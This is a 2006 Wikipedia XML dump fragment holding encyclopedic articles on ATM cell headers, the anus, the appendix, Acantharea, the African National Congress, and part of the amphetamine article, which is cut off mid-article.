| colspan=&quot;3&quot; rowspan=&quot;1&quot; style=&quot;vertical-align: top; text-align: center; white-space: nowrap; width: 12%; background-color: rgb(255, 255, 204);&quot; | PT
| style=&quot;vertical-align: top; text-align: center; white-space: nowrap; width: 12%; background-color: rgb(255, 204, 204);&quot; | CLP&lt;br&gt;
|-----
| colspan=&quot;8&quot; rowspan=&quot;1&quot; style=&quot;vertical-align: top; text-align: center; white-space: nowrap; width: 12%; background-color: rgb(153, 255, 153);&quot; | HEC
|-----
| colspan=&quot;8&quot; rowspan=&quot;1&quot; style=&quot;background-color: rgb(204, 204, 204); vertical-align: top; text-align: center; white-space: nowrap; width: 12%;&quot; | &lt;br&gt;
&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
Payload (48 bytes)&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
|}

&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;


 GFC = [[Generic Flow Control]] (4 bits) (default: 4-zero bits)
 VPI = [[Virtual Path Identifier]] (8 bits UNI) or (12 bits NNI)
 VCI = [[Virtual Channel Identifier]] (16 bits)
 PT  = [[Payload Type]] (3 bits)
 CLP = [[Cell Loss Priority]] (1 bit)
 HEC = [[Header Error Correction]] (8bits) (checksum of header only)

The PT field is used to designate various special kinds of cells for [[Operation and Management]] (OAM) purposes, and to delineate packet boundaries in some AALs.

Several of ATM's link protocols use the HEC field to drive a [[CRC-Based Framing]] algorithm which allows the position of the ATM cells to be found with no overhead required beyond what is otherwise needed for header protection.

In a UNI cell the GFC field is reserved for an (as yet undefined) local flow control/submultiplexing system between network and user. All four GFC bits must be zero by default. 

The NNI cell format is almost identical to the UNI format, except that the 4 bit GFC field is re-allocated to the VPI field, extending the VPI to 12 bits. Thus, a single NNI ATM interconnection is capable of addressing almost 2&lt;sup&gt;12&lt;/sup&gt; VPs of up to almost 2&lt;sup&gt;12&lt;/sup&gt; VCs each
(in practice some of the VP and VC numbers are reserved).

==External links==
* [http://www.atmforum.com/ ATM forum]
* [http://www.cisco.com/univercd/cc/td/doc/product/atm/c8540/12_0/13_19/trouble/cells.htm ATM Cell formats- Cisco Systems]
* [http://www.cisco.com/en/US/tech/tk39/tsd_technology_support_category_home.html Asynchronous Transfer Mode (ATM) - Cisco Systems]
* [http://www-comm.itsi.disa.mil/itu/r_q293.html Reference for Q.2931 etc Link failes]
*[http://www.wired.com/wired/archive/4.10/atm.html ''Netheads vs Bellheads'' by Steve Steinberg]
*[http://www.juniper.net/techpubs/software/erx/junose61/swconfig-link/html/atm-config2.html ''A tutorial from Juniper web site]


[[Category:ITU-T recommendations]]
[[Category:Network protocols]]

[[ca:Mode de transferència asíncrona]]
[[de:Asynchronous Transfer Mode]]
[[es:Asynchronous Transfer Mode]]
[[fr:Asynchronous transfer mode]]
[[id:Asynchronous Transfer Mode]]
[[it:Asynchronous Transfer Mode]]
[[he:ATM]]
[[nl:Asynchronous Transfer Mode]]
[[ja:Asynchronous Transfer Mode]]
[[no:ATM]]
[[pl:Asynchronous Transfer Mode]]
[[pt:Asynchronous Transfer Mode]]
[[ru:ATM]]
[[fi:ATM]]
[[sv:ATM]]
[[tr:Asynchronous Transfer Mode]]</text>
    </revision>
  </page>
  <page>
    <title>Anus</title>
    <id>2500</id>
    <restrictions>move=sysop</restrictions>
    <revision>
      <id>42036056</id>
      <timestamp>2006-03-03T10:21:22Z</timestamp>
      <contributor>
        <username>Ec5618</username>
        <id>12620</id>
      </contributor>
      <comment>Revert to revision 41857216 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">[[image:male anatomy.png|thumb|350px|Male Anatomy]]
{{about|the bodily orifice|the New Guinea tribal language|[[Anus language]]}}
{{Redirect|Anal}}

In [[anatomy]], the '''anus''' (from [[Latin]] ānus &quot;ring, anus&quot;) is the external opening of the [[rectum]]. Closure is controlled by [[sphincter]] [[muscle]]s. [[Feces]] are expelled from the body through the anus during the act of [[defecation]], which is the primary function of the anus. Most animals &amp;mdash; from simple worms to elephants and humans &amp;mdash; have a tubular [[gut]], with a [[mouth]] at one end and an anus at the other.

The anus is often considered a [[taboo]] part of the body, and is also known by a large number of slang terms, which are generally considered vulgar and not used in polite speech.

== Structure ==
The human anus is situated between the [[buttock]]s, [[posterior]] to the [[perineum]]. It has two anal sphincters, one internal, the other external. These hold the anus closed until time to defecate.&lt;!-- or time for sexual activity.--&gt; One sphincter consists of smooth muscle and its action is involuntary; the other consists of striated muscle and its action is voluntary. In many animals, the anus is surrounded by [[anal sacs]].

== Role in defecation ==
{{main|Defecation}}

When the [[rectum]] is full the increase in intrarectal pressure forces the walls of the [[anal canal]] apart allowing the fecal matter to enter the canal. The rectum shortens as material is forced into the anal canal and peristaltic waves propel the feces out of the rectum. The internal and external sphincters of the anus allow the feces to be passed by muscles pulling the anus up over the exiting feces.

To prevent diseases of the anus and to promote general hygiene, humans often follow the action of the sphincter with a cleansing activity after emptying the bowels. A wash with a [[bidet]] or a wiping with [[toilet paper]] are often used to clear the anus of fecal matter.

== Role in sexuality ==
{{main|Anal sex}}

The anus has a relatively high concentration of [[nerve ending]]s and is an [[erogenous zone]]. [[Sigmund Freud]]'s theory of [[psychosexual development]], for example, described  an [[anal stage]], hypothesizing that toddlers derive pleasure from retaining and expelling feces. This is the source of the [[derogatory]] term [[anal-retentive]].

Anal intercourse can be pleasurable for both the insertive partner and the receptive partner. For females, pleasure from anal intercourse is also thought to be related to the shared wall between the rectum and the [[vagina]] as well as the [[G-spot]]. For males, the tightness of the anus is often said to be a source of pleasure in penetrative anal sex, while the presence of the [[prostate]] gland near the rectal wall is generally seen as a source of pleasure during receptive anal intercourse. Other animals have also been observed practicing anal intercourse. 

Anal intercourse, sometimes referred to as [[sodomy]] or [[buggery]], is a common human sexual activity, but is considered [[taboo]] in a number of moral systems, and it has been, and in some jurisdictions continues to be, a crime carrying severe punishment. 

Anal sex need not include penetration. The anus also plays an important role in [[face sitting]], [[coprophilia]] and [[anilingus]].

[[Anal stretching]] can stimulate the nerves around the anus and can be considered pleasurable. Care must be taken to maintain elasticity.

==Maintenance==

[[Image:Human female anus.jpeg|thumb|right|200px|Female human anus, bordered by the [[buttock]]s and [[perineum]].]]

Hygiene is important for good anal health. Washing with a mild soap and water will keep the anus clean. Harsh soaps or wiping vigorously with toilet paper can irritate the skin around the anus, making it itchy or sore. [[pinworm|Pinworms]] are sometimes the source of [[anal itching]].

Care should be taken not to strip the anus of natural oils that keep the skin around the opening supple and elastic.

Penetration with a penis or sex toy can irritate or tear the inside of the anus. Lubrication is often recommended to ease penetration.

[[Kegel exercise]]s can improve the tone of the outer sphincter muscle.

==Cosmetics==
Shaving, trimming, [[depilatory]], or [[Brazilian waxing]] can clear the perineum of hair.

[[Anal bleaching]] is a relatively new [[West coast]] phenomenon where the perineum, which darkens over the years, is lightened for a more youthful appearance. In April 2000, gossip columnist [[Ted Casablanca]] reported that actresses including [[Lara Flynn Boyle]] have had their anuses bleached. [http://www.eonline.com/Gossip/Awful/cauth/Archive2000/000427b.html]

[[Anal piercing]] is among the more extreme piercings and usually interferes with the function of the anus.

== Pathology ==
[[Anal cancer]], [[abscess]], [[warts]], [[fistula]], [[fissure]], [[itching]] and [[hemorrhoids]] are among the diseases of the anus that benefit from medical intervention. Birth defects of the anus include [[stenosis]] and [[Imperforate anus|imperforation]]. The anus is also a frequent site of [[sexually transmitted infection]]s.
Damaged [[anal sphincter]] ([[patulous anus]] in more severe cases) – caused by careless surgery in the [[perineal]] region or by rough/abrupt penetration in [[anal sex]] – can lead to [[flatus]] and/or [[fecal incontinence]], chronic [[constipation]] and, ultimately, [[megacolon]].

==See also==
{{wiktionarypar|anus}}
* [[Arse]]
* [[Digestive system]]
* [[Anal masturbation]]
* [[Cloaca]]
* [[Flatulence]]
* [[Sodomy]]

{{digestive_system}}
{{human anatomical features}}

[[Category:Digestive system]]

[[bg:Анус]]
[[cs:Řitní otvor]]
[[da:Anus]]
[[de:Anus]]
[[es:Ano]]
[[eo:Anuso]]
[[fr:Anus]]
[[io:Anuso]]
[[is:Endaþarmsop]]
[[it:Ano]]
[[he:פי הטבעת]]
[[lt:Išangė]]
[[nl:Anus (anatomie)]]
[[ja:肛門]]
[[pl:Odbyt]]
[[pt:Ânus]]
[[ru:Анус человека]]
[[simple:Anus]]
[[su:Kérod salawé]]
[[fi:Peräaukko]]
[[sv:Analöppning]]
[[zh:肛门]]</text>
    </revision>
  </page>
  <page>
    <title>Appendix</title>
    <id>2501</id>
    <revision>
      <id>41386337</id>
      <timestamp>2006-02-27T00:13:55Z</timestamp>
      <contributor>
        <username>Astatine</username>
        <id>229795</id>
      </contributor>
      <text xml:space="preserve">'''Appendix''' can mean:
* In [[Book design]] - a reference section at the end of a book.
* In [[Organ (anatomy)|Anatomy]] - a section at the end of an organ; in particular the [[Vermiform appendix]], a part of the human digestive system of disputed function.

==See also==
{{wiktionarypar|appendix}}
* [[English plural#Irregular plurals of foreign origin|English plural: Irregular plurals of foreign origin]]

{{disambig}}

[[de:Appendix]]
[[eo:Apendico]]
[[it:Appendice]]
[[nl:Appendix]]</text>
    </revision>
  </page>
  <page>
    <title>Acantharea</title>
    <id>2502</id>
    <revision>
      <id>31924131</id>
      <timestamp>2005-12-19T03:23:03Z</timestamp>
      <contributor>
        <username>YurikBot</username>
        <id>271058</id>
      </contributor>
      <minor />
      <comment>robot  Modifying: fr</comment>
      <text xml:space="preserve">{{Taxobox | color = khaki
| name = Acantharea
| regnum = [[Protist]]a
| phylum = [[Radiolarian|Radiolaria]]
| classis = '''Acantharea'''
| classis_authority = [[Haeckel]] 1881 ''emend.''
}}
The '''Acantharea''' are a small group of [[radiolaria]]n [[protozoa]], distinguished mainly by their skeletons.  These are composed of [[strontium sulfate]] crystals, which do not [[fossil]]ize, and take the form of either ten diametric or twenty radial spines.  The central capsule is made up of [[microfibril]]s arranged into twenty  plates, each with a hole through which one spine projects, and there is also a microfibrillar cortex linked to the spines by [[myonemes]].  These assist in flotation, together with the [[vacuole]]s in the ectoplasm, which often contain [[zooxanthella]]e.

The arrangement of the spines is very precise, and is described by what is called the Müllerian law.  This is easiest to describe in terms of lines of latitude and longitude - the spines lie on the intersections between five of the former, symmetric about an equator, and eight of the latter, spaced uniformly.  Each line of longitude carries either two ''tropical'' spines or one ''equatorial'' and two ''polar'' spines, in alternation.  The way that the spines are joined together at the center of the cell varies and is one of the primary characteristics by which acanthareans are classified.

* [[Holacanthida]] - diametric spines, simply crossed
* [[Symphyacanthida]] - radial spines, with free bases
* [[Chaunacanthida]] - radial spines, with articulated bases
* [[Arthracanthida]] - radial spines, with pyramidal bases packed together

The axopods are fixed in number.  Reproduction takes place by formation of [[spore]]s, which may be [[flagellate]].  These develop into [[cell nucleus|mononucleate]] amoebae; adults are usually multinucleate.
[[Category:Amoeboids]]

[[fr:Acantharea]]</text>
    </revision>
  </page>
  <page>
    <title>African National Congress</title>
    <id>2503</id>
    <revision>
      <id>41788785</id>
      <timestamp>2006-03-01T19:34:22Z</timestamp>
      <contributor>
        <username>Dewet</username>
        <id>88048</id>
      </contributor>
      <minor />
      <comment>/* Coming to power */</comment>
      <text xml:space="preserve">{{Infobox_Political_Party |
  party_name       = African National Congress |
  party_logo       = [[Image:ANClogo.jpg|150px|ANC logo]] |
  leader           = [[Thabo Mbeki]] |
  foundation       = [[8 January]] [[1912]] |
  ideology         = [[social democracy|Social Democratic]] |
  headquarters     = 54 Sauer Street&lt;br&gt;Johannesburg|
  international    = |
  website          = http://www.anc.org.za
}}
The '''African National Congress''' (ANC) is a centre-[[left-wing politics|left]] [[political party]], and has been [[South Africa]]'s governing party supported by a [[tripartite alliance]] between itself, the [[Congress of South African Trade Unions]] (COSATU) and the [[South African Communist Party]] (SACP) since the establishment of majority rule in May 1994. Originally called the '''South African Native National Congress''' until 1923, it was founded to defend the rights of the black majority on [[8 January]] [[1912]] in [[Bloemfontein]], and counted [[John Dube]] (its first president) and poet and author [[Sol Plaatje]] among its founder members.


It has been the only party to rule South Africa since 1994.  It gained support in the [[South African general election, 1999|1999 elections]], and further increased its majority in [[South African general election, 2004|2004]].

==History==
{{Politics of South Africa}}
Formed initially on [[January 8th]], [[1912]] by [[John Dube]], [[Pixley Seme]] and [[Sol Plaatje]]  along with chiefs, representatives of people's and church organisations, and other prominent individuals to bring all Africans together as one people to defend their rights and freedoms, the ANC from its inception represented both traditional and modern elements, from tribal chiefs to church and community bodies and educated black professionals, though women were only admitted as affiliate members from 1931 and as full members in 1943.

The formation of the [[African National Congress Youth League|ANC Youth League]] in 1944 by [[Nelson Mandela]], [[Walter Sisulu]], and [[Oliver Tambo]] heralded a new generation committed to building non-violent mass action against the legal underpinnings of the white minority's supremacy. In 1947 the ANC allied with the [[Natal Indian Congress]] and [[Transvaal Indian Congress]], broadening the basis of its opposition to the government.

The return of an [[Afrikaner]]-led [[National Party (South Africa)|National Party]] government by the overwhelmingly white electorate in 1948 signaled the advent of the policy of [[History of South Africa in the Apartheid Era|apartheid]]. During the 1950s, non-whites were removed from electoral rolls, residence and mobility laws were tightened and political activities restricted.

In June 1952, the ANC joined with other anti-apartheid organisations in a [[Defiance Campaign]] against the restriction of political, labour and residential rights, during which protesters deliberately violated oppressive laws, following the example of [[Mahatma Gandhi]]'s [[passive resistance]] in [[KwaZulu-Natal Province|Natal]] and [[India]]. The campaign was called off in April 1953 after new laws prohibiting protest meetings were passed.

In June 1955, the [[Congress of the People]], organised by the ANC and Indian, Coloured and White organizations at Kliptown near [[Johannesburg]], adopted the [[Freedom Charter]], henceforth the fundamental document of the anti-apartheid struggle with its demand for equal rights for all regardless of race. As opposition to the regime's policies continued, 156 leading members of the ANC and allied organisations were arrested in 1956; the resulting &quot;[[Treason Trial]]&quot; ended with their acquittal five years later.

In 1959, a number of members broke away from the ANC because they objected to the ANC's reorientation from [[African nationalist]] policies. They formed the rival [[Pan Africanist Congress]] (PAC), led by [[Robert Sobukwe]].

===Protest and banning===
The ANC planned a campaign against the [[dompas|Pass Laws]], which required [[blacks]] to carry an [[identity card]] at all times to justify their presence in &quot;white&quot; areas, to begin on [[31 March]] [[1960]]. The PAC pre-empted the ANC by holding peaceful protests [[21 March|10 days earlier]], during which 69 protesters were killed and 180 injured by police fire in what became known as the [[Sharpeville massacre]].

In the aftermath of the tragedy, both organisations were banned from [[political dissent|political activity]]. The ANC subsequently went underground and increased their violent protest actions to include operations some have described as [[terrorism]]. 

International opposition to the regime increased throughout the 1950s and 1960s, fueled by the growing number of newly independent nations, the [[Anti-Apartheid Movement]] in Britain
and the [[civil rights movement]] in the [[United States]]. In 1960, the leader of the ANC, [[Albert Lutuli]], won the [[Nobel Prize/Peace|Nobel Peace Prize]], a feat that would be repeated in 1993 by [[Nelson Mandela]].

===Violent political resistance===
Now underground or in exile, the ANC leadership concluded that the methods of non-violence such as those utilised by [[Mahatma Gandhi|Gandhi]] against the [[British Empire]] during their colonisation of [[India]], were not suitable against the no less brutal but effective apartheid system. It was decided that [[military]] tactics had to be used, which primarily involved targeting and [[sabotage|sabotaging]] the government's resources, with a philosophy of avoiding bloodshed at all costs.  A military wing was formed in 1961, called [[Umkhonto we Sizwe]], meaning &quot;Spear of the Nation&quot;. However, Mandela, as its first leader, was arrested for terrorism in 1962 and sentenced to life imprisonment in 1964 on [[Robben Island]], along with Sisulu and other ANC leaders after the [[Rivonia Trial]].

Almost thirty years passed, with international pressure and internal dissent mounting in the country.  With the situation becoming ever more untenable, [[State President of South Africa|State President]] [[Frederik Willem de Klerk|F.W. de Klerk]] unbanned the ANC and PAC on [[2 February]] [[1990]].

==Coming to power==
In April 1994, in a tripartite alliance with the [[South African Communist Party]] and the [[Congress of South African Trade Unions]], the ANC won a landslide victory in the [[South African general election, 1994|1994 general election]], and [[Nelson Mandela]] was elected the first [[President of South Africa]].

In [[Kwa-Zulu Natal]], the ANC maintained an uneasy [[coalition]] with the [[Inkatha Freedom Party]] after neither party won a majority in the [[South African general election, 1994|1994]] and [[South African general election, 1999|1999]] provincial elections. 

In 2004, the party contested national elections in voluntary coalition with the [[New National Party (South Africa)|New National Party]] (NNP), which it effectively absorbed following the NNP's dissolution in 2005.

After the 1994 and 1999 elections, it ruled seven of the nine provinces, with [[Kwa-Zulu Natal]] under the IFP and the [[Western Cape Province]] under the NNP. As of 2004, it gained both the Western Cape and Kwa-Zulu Natal after a combination of the NNP's electoral base being eroded by the DA and a poor showing by the IFP.

By 2001, the [[tripartite alliance]] between the ANC, COSATU and SACP began showing signs of strain as the ANC moved to more liberal economic policies than its alliance partners were comfortable with. The focus for dissent was the [[GEAR]] program, an [[initialism]] for &quot;Growth, Employment and Redistribution.&quot;

In late 2004, this was again thrown into sharp relief by [[Zwelinzima Vavi]] of COSATU protesting the ANC's policy of &quot;quiet diplomacy&quot; towards the worsening conditions in [[Zimbabwe]], as well as [[Black Economic Empowerment]], which he complained benefits a favoured few in the black elite and not the masses.

As of [[2005]], the alliance was facing a crisis as [[Jacob Zuma]], who was fired from his position as [[Deputy President of South Africa]] by Thabo Mbeki, faced [[political corruption|corruption]] charges. Complicating the situation was the fact that Zuma remained Deputy President of the ANC, and maintained a strong following amongst many ANC supporters, and the ANC's alliance partners [http://www.iol.co.za/index.php?art_id=vn20051016093406344C153857]. In October [[2005]], top officials in the [[National Intelligence Agency]], who were Zuma supporters, were suspended for illegally spying on an Mbeki supporter, [[Saki Macozoma]], amid allegations that ANC supporters were using their positions within organs of state to spy on, and discredit each other[http://www.sundayindependent.co.za/index.php?fArticleId=2962595] [http://www.sundaytimes.co.za/articles/article.aspx?ID=ST6A156220]. In December 2005, Zuma was charged with [[rape]] and his position as Deputy President of the ANC was suspended. [http://allafrica.com/stories/200512070314.html]

The ANC also faced (sometimes violent) protests in [[township (South Africa)|townships]] over perceived poor service delivery, as well as internal disputes, as [[South African local government elections, 2006|local government elections]] approached in [[2006]]. [http://www.mg.co.za/articlePage.aspx?articleid=261817&amp;area=/breaking_news/breaking_news__national/] [http://www.capeargus.co.za/index.php?fSectionId=49&amp;fArticleId=3074657].

===Party List===
Politicians in the party win a place in parliament by being on the ''Party List'', which is drawn up before the elections and enumerates, in order, the party's preferred MPs. The number of seats allocated is proportional to the popular national vote, and this determines the cut-off point.

The ANC has also gained members through the controversial [[floor crossing (South Africa)|floor crossing]] process.

==Key personalities within the ANC==
&lt;!--please list alphabetically by surname--&gt;
* Before 1948: [[John Dube]], [[Sol Plaatje]], [[Pixley ka Isaka Seme]]
* 1948 to 1994: [[Chris Hani]], [[Ahmed Kathrada]], [[Albert Lutuli]], [[Nelson Mandela]], [[Govan Mbeki]], [[Thabo Mbeki]], [[Raymond Mhlaba]], [[Cyril Ramaphosa]], [[Walter Sisulu]], [[Joe Slovo]], [[Robert Sobukwe]], [[Oliver Tambo]]
* After 1994: Nelson Mandela, [[Sydney Mufamadi]], Thabo Mbeki, [[Phumzile Mlambo-Ngcuka]], [[Tokyo Sexwale]], [[Jacob Zuma]]

==Criticism==
[[Archbishop Desmond Tutu]] in his [[Nelson Mandela]] speech in 2004 criticized the ''Party List'' system as discouraging debate and encouraging patronage within the party. He also singled out business deals that favour the &quot;recycled few&quot; in [[Black Economic Empowerment]] deals instead of the poor majority.

Another accusation frequently levelled against them is that they protect their high-ranking members in the face of [[South African political scandals|controversy]], and is seen as supporting criminal behaviour.  Recent issues of this nature include the [[Schabir Shaik]] fraud trial linked to Deputy President [[Jacob Zuma]], the sexual misconduct and criminal charges of [[Beaufort West Municipality, Western Cape|Beaufort West]] municipal manager [[Truman Prince]] (see [http://www.news24.com/News24/South_Africa/News/0,,2-7-1442_1700232,00.html]), and the [[Oilgate]] scandal, in which millions of Rand in funds from a state-owned company were allegedly funneled into ANC coffers [http://www.mg.co.za/specialreport.aspx?area=oilgate]. Links between factions in the ANC and businessman [[Brett Kebble]] gained media attention following Kebble's murder in September [[2005]].

==External links==
*[http://www.anc.org.za/ African National Congress] official site
*[http://www.anc.org.za/ancdocs/anctoday/2004/at48.htm#art2 Response by the ANC General Secretary to COSATU's assessment, 2004]
{{South African Topics}}

[[Category:1912 establishments]]
[[Category:Political parties in South Africa]]
[[Category:National liberation movements]]
[[Category:Apartheid in South Africa]]
[[Category:Socialist International]]

[[af:African National Congress]]
[[de:African National Congress]]
[[es:Congreso Nacional Africano]]
[[fr:Congrès national africain]]
[[ko:아프리카국민회]]
[[id:Kongres Nasional Afrika]]
[[it:African National Congress]]
[[he:הקונגרס הלאומי האפריקני]]
[[ja:アフリカ民族会議]]
[[lt:Afrikos nacionalinis kongresas]]
[[nl:Afrikaans Nationaal Congres (Zuid-Afrika)]]
[[no:African National Congress]]
[[nn:ANC]]
[[pl:Afrykański Kongres Narodowy]]
[[pt:Congresso Nacional Africano]]
[[fi:ANC]]
[[sv:African National Congress]]
[[uk:Африканський Національний Конгрес]]</text>
    </revision>
  </page>
  <page>
    <title>Amphetamine</title>
    <id>2504</id>
    <revision>
      <id>41991322</id>
      <timestamp>2006-03-03T02:10:14Z</timestamp>
      <contributor>
        <username>Fabrício Kury</username>
        <id>71458</id>
      </contributor>
      <minor />
      <comment>/* '''Physiological effects''' */  missing ')'</comment>
      <text xml:space="preserve">&lt;!-- To edit the text of this article, scroll down past the tables --&gt;{| border=&quot;1&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; width=&quot;250px&quot; style=&quot;border-collapse: collapse; margin: 0 0 0 0.5em&quot;
|-
| bgcolor=&quot;#ffffff&quot; align=&quot;center&quot; colspan=&quot;2&quot; |
[[Image:Amphetamine.png|120px|Amphetamine chemical structure]]&lt;br/&gt;
''Amphetamine''
|-
| align=&quot;center&quot; colspan=&quot;2&quot; | [[IUPAC nomenclature|IUPAC]] name: &lt;br /&gt;
'''1-phenylpropan-2-amine'''
|- align=&quot;center&quot; style=&quot;border-bottom: 3px solid gray&quot;
| '''[[CAS number]]''' &lt;br/&gt; 300-62-9 || '''[[ATC code]]'''   &lt;br/&gt; N06BA01
|-
| bgcolor=&quot;#eeeeee&quot; | [[Chemical formula]]
| bgcolor=&quot;#ddeeff&quot; | [[Carbon|C]]&lt;sub&gt;9&lt;/sub&gt;[[Hydrogen|H]]&lt;sub&gt;13&lt;/sub&gt;[[Nitrogen|N]]
|-
| bgcolor=&quot;#eeeeee&quot; | [[Molecular weight]]
| bgcolor=&quot;#ddeeff&quot; | 135.2084
|-
| bgcolor=&quot;#eeeeee&quot; | [[Bioavailability]]
| bgcolor=&quot;#ddeeff&quot; | 4L/kg; low binding to plasma proteins (20%)
|-
| bgcolor=&quot;#eeeeee&quot; | Metabolism || bgcolor=&quot;#ddeeff&quot; | hepatic &amp; renal clearance
|-
| bgcolor=&quot;#eeeeee&quot; | [[half life|Elimination half life]]
| bgcolor=&quot;#ddeeff&quot; | 10&amp;ndash;13 hours
|-
| bgcolor=&quot;#eeeeee&quot; | [[Excretion]] || bgcolor=&quot;#ddeeff&quot; | significant portion unaltered
|-
| bgcolor=&quot;#eeeeee&quot; | [[Pregnancy category (pharmaceutical)|Pregnancy category]] 
| bgcolor=&quot;#ddeeff&quot; | C
|-
| bgcolor=&quot;#eeeeee&quot; | [[Controlled Substance Act|Legal status]]
| bgcolor=&quot;#ddeeff&quot; | [[Drug Enforcement Administration|DEA]] Schedule II ([[United States|USA]])
Class B ([[UK]])
Schedule III ([[Canada]])
|-
| bgcolor=&quot;#eeeeee&quot; | Delivery
| bgcolor=&quot;#ddeeff&quot; | [[Vaporize|Vaporized]], [[Insufflate|Insufflated]], [[Intravenous infusion|Injected]], Taken Orally
|-
|}
{| bgcolor=&quot;#ffffff&quot; border=&quot;1&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; width=&quot;167px&quot; style=&quot;border-collapse: collapse; clear: right; margin: 0 0 0 0.5em&quot;
|-
|'''Indicated for:'''&lt;br/&gt;
*[[diet suppressant]]
*[[attention deficit disorder|ADD]]
*[[attention deficit hyperactivity disorder|ADHD]]
*[[narcolepsy]]
*[[treatment-resistant depression]]

'''[[Recreational drug use|Recreational]] uses:'''&lt;br/&gt;
*[[Stimulant]]

'''Other uses:'''&lt;br/&gt;
*Used by the US military to combat fatigue and increase wakefulness 
|-
|'''[[Contraindication]]s:'''&lt;br/&gt;
*CNS Stimulants
*[[MAOI]] use
|-
|'''[[Side effect]]s:'''
*dizziness
*tachycardia (rapid heartbeat)
*sweating
*decrease in appetite/weight loss
*enhanced feelings of well-being followed by depression
*insomnia
*anger
*agressiveness
*hostility
'''''Atypical [[sensation]]s:'''''
*?

'''''[[Cardiovascular]]:'''''
*[[Bronchodilator]]

'''''[[Ear]], [[nose]], and [[throat]]:'''''
*[[Decongestant]]

'''''[[Endocrinal]]:'''''
*?

'''''[[Eye]]:'''''
*[[Mydriasis]] (Pupil dilation)

'''''[[Gastrointestinal]]:'''''
*Diarrhea

'''''[[Hematological]]:'''''
*?

'''''[[Muscle|Musculo]][[skeletal]]:'''''
*Muscle aches/cramps

'''''[[Neurological]]:'''''
*[[Dopamine]] [[Agonist]]
*[[Norepinephrine]] [[Agonist]]

'''''[[Psychological]]:'''''
*

'''''[[Respiration (physiology)|Respiratory]]:'''''
*[[Bronchodilator]]

'''''[[Skin]]:'''''
*?

'''''[[Urogenital]] and [[reproductive]]:'''''
*?

'''''Miscellaneous:'''''
*
|}

'''Amphetamine''' ('''a'''lpha-'''m'''ethyl-[[phenethylamine|'''ph'''en'''et'''hyl'''amine''']]), also known as '''speed''', is a synthetic [[stimulant]] used to [[anorectic|suppress the appetite]], control weight, and treat disorders including [[narcolepsy]] and [[Attention-deficit hyperactivity disorder]]. It is also used recreationally and for performance enhancement (these uses are illegal in most countries). 

Due to the widespread use of amphetamines as a treatment for [[attention-deficit hyperactivity disorder|ADD/ADHD]] in the [[USA]], Canada, and other countries, they frequently find their way onto the street and are one of the most frequently-abused drugs in high schools and colleges. 

Patients with acute toxicity from amphetamines may have symptoms of lock-jaw, diarrhea, [[palpitations]], [[arrhythmia]], [[fainting|syncope]], [[hyperpyrexia]], and [[hyperreflexia]] progressing to [[convulsion]]s and [[coma]].
Patients with chronic use of amphetamines develop a rapid tolerance to the drug and may have to increase the number of pills to reach a desired affect and eventually develop addiction. 
Patients that develop addiction show symptoms of restlessness, [[anxiety]], [[depression]], [[insomnia]], and suicidal behavior. 
A urine drug screen can be performed to determine the presence of amphetamines. 
Patients may need to be hospitalized. 
Supportive therapy is important. 
Cooling blankets may be used for [[hyperthermia]]. 
[[sedative|Sedation]] may be obtained with [[lorazepam]] or [[diazepam]]. 
[[Haloperidol]] may be given for agitation and [[delusion]]s. 
[[Hypertension]] and arrhythmias should be treated. 

== Pharmacology ==
'''Amphetamine''' is a synthetic [[Medication|drug]] with strong stimulant effects.  In the United States, it is most commonly used for treatment of attention-deficit disorders and narcolepsy, but is also approved as a weight-loss medication in certain cases of obesity.  Within the armed forces only, it is also frequently prescribed as an anti-fatigue pill for pilots and other individuals in situations requiring vigilance and alertness.  Amphetamine is also used illegally to take advantage of these effects.

The term ''amphetamine'' causes a certain amount of confusion because it is often used incorrectly.  In the general sense, amphetamine can describe other drugs with similar, stimulant effects, namely [[methamphetamine]] and [[methylphenidate]].  Chemists often use the term &quot;amphetamine class&quot; to describe chemicals that are structurally similar (and often similar in effect as well) to amphetamine - namely, chemicals with an ethyl backbone, terminal phenyl and amine groups, and a methyl group adjacent to the amine.  A large number of chemicals fall into this category, including the club drug [[MDMA]] ([[Ecstasy (drug)|Ecstasy]]) and methamphetamine. It is important to note that such an &quot;amphetamine class&quot; does not technically exist.  In the pharmacodynamic sense, these drugs all fall under the umbrella of central nervous system stimulants; in the chemical sense, they are [[phenylethylamines]]. Amphetamine, for example, is methylated phenylethylamine, and methamphetamine is double-methylated phenylethylamine.

Amphetamine traditionally comes in the salt-form ''amphetamine sulfate'' and is comprised of 50% l-amphetamine and 50% d-amphetamine (where ''l-'' and ''d-'' refer to ''levo'' and ''dextro'', the two optical orientations the amphetamine structure can have).  In the United States, pharmaceutical products containing solely amphetamine (for example, Biphetamine) are no longer manufactured.  Today, dextroamphetamine (d-amphetamine) sulphate is the predominant form of the drug used; it consists entirely of d-isomer amphetamine, which acts in a slightly different way on the brain than does l-amphetamine.  Attention disorders are often treated using '''[[Adderall]]''' or generic-equivalent formulations of mixed amphetamine salts that contain both d/l-amphetamine and d-amphetamine in the sulfate and saccharate forms mixed to a final ratio of 3 parts d-amphetamine to 1 part l-amphetamine.

Amphetamine was first synthesized in 1887 by the [[Romania|Romanian]] [[Chemist]] [[Lazar Edeleanu]], who called it '''&quot;phenylisopropylamine&quot;'''.

==Medicinal use==
The experimental medical use of amphetamines began in the [[1920s]].  It was introduced in most of the world in the form of the pharmaceutical '''[[Benzedrine]]''' in the late-[[1920s]].  The drug was used by the militaries of several nations, especially the air forces, to fight fatigue and increase alertness among servicemen.  After decades of reports of abuse, the [[United States Food and Drug Administration|FDA]] banned Benzedrine inhalers, and limited amphetamines to prescription use in 1959, but illegal use became common. 

Along with [[methylphenidate]] ([[Ritalin]] [[Concerta]]), amphetamine is one of the standard treatments for [[ADHD]]. Beneficial effects for ADHD can include improved impulse control, improved concentration, decreased sensory overstimulation, and decreased irritability. These effects can be dramatic, particularly in young children. The ADHD medication [[Adderall]] is composed of four different amphetamine [[salt]]s, [[Adderall XR]] is a timed release formulation of these same salt forms.

When used within the recommended doses, side-effects like loss of appetite tend to decrease over time. However, amphetamines last longer in the body than [[methylphenidate]] ([[Ritalin]] [[Concerta]]), and tend to have stronger side-effects on appetite and sleep. 

Amphetamines are also a standard treatment for [[narcolepsy]] as well as other sleeping disorders. They are generally effective over long periods of time without producing addiction or physical dependence.

